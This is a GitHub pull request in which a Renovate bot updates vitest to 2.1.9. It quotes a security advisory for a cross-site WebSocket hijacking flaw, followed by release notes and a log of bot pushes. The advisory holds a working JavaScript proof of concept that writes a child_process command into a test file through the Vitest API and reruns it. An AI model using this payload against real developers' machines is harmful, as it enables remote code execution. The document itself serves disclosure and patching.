Skip to content

chore(deps): update dependency vitest to v2.1.9 [security]#105

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vitest-vulnerability
Open

chore(deps): update dependency vitest to v2.1.9 [security]#105
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vitest-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate Bot commented Feb 4, 2025

This PR contains the following updates:

Package Change Age Confidence
vitest (source) 2.1.62.1.9 age confidence

Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

CVE-2025-24964 / GHSA-9crc-q9x8-hgqq

More information

Details

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC
  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})
Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Severity

  • CVSS Score: 9.6 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

vitest-dev/vitest (vitest)

v2.1.9

Compare Source

This release includes security patches for:

   🐞 Bug Fixes
    View changes on GitHub

v2.1.8

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v2.1.7

Compare Source

   🐞 Bug Fixes
  • Revert support for Vite 6  -  by @​sheremet-va (fbe5c)
    • This introduced some breaking changes (#​6992). We will enable support for it later. In the meantime, you can still use pnpm.overrides or yarn resolutions to override the vite version in the vitest package - the APIs are compatible.
    View changes on GitHub

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@vercel
Copy link
Copy Markdown

vercel Bot commented Feb 4, 2025

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated (UTC)
crx-gcal-url-opener Ready Ready Preview, Comment May 18, 2026 8:14pm

@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from a471b0a to bc7d875 Compare February 9, 2025 14:48
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from bc7d875 to 2027c22 Compare March 3, 2025 17:19
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 2027c22 to ba1a90e Compare March 11, 2025 13:05
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from ba1a90e to e4719d6 Compare March 17, 2025 12:56
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from e4719d6 to c628e21 Compare April 1, 2025 14:32
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from c628e21 to b64cecd Compare April 8, 2025 11:38
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from b64cecd to bb04b82 Compare April 24, 2025 10:29
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from bb04b82 to 65b16f8 Compare May 19, 2025 17:38
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 65b16f8 to e1d34fc Compare May 28, 2025 13:02
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from e1d34fc to 5391558 Compare June 22, 2025 14:33
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 5391558 to b760226 Compare July 2, 2025 18:14
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from b760226 to 6651b37 Compare August 4, 2025 05:55
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 6651b37 to 3548b9a Compare August 19, 2025 17:49
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 3548b9a to d4eeda1 Compare August 31, 2025 11:04
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 9b2b1f1 to a890bfd Compare December 31, 2025 15:30
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from a890bfd to ab5302d Compare January 8, 2026 18:07
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from ab5302d to 4f1a51b Compare January 19, 2026 16:26
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 4f1a51b to 66c57b6 Compare February 2, 2026 21:38
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 66c57b6 to 2606418 Compare March 5, 2026 19:15
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v2.1.9 [security] chore(deps): update dependency vitest to v2.1.9 [security] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate renovate Bot deleted the renovate/npm-vitest-vulnerability branch March 27, 2026 01:55
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v2.1.9 [security] - autoclosed chore(deps): update dependency vitest to v2.1.9 [security] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 2606418 to eed39f2 Compare March 30, 2026 18:06
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v2.1.9 [security] chore(deps): update dependency vitest to v2.1.9 [security] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v2.1.9 [security] - autoclosed chore(deps): update dependency vitest to v2.1.9 [security] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from eed39f2 to 0c71b10 Compare April 27, 2026 22:58
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 0c71b10 to 4c8d937 Compare May 12, 2026 15:09
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants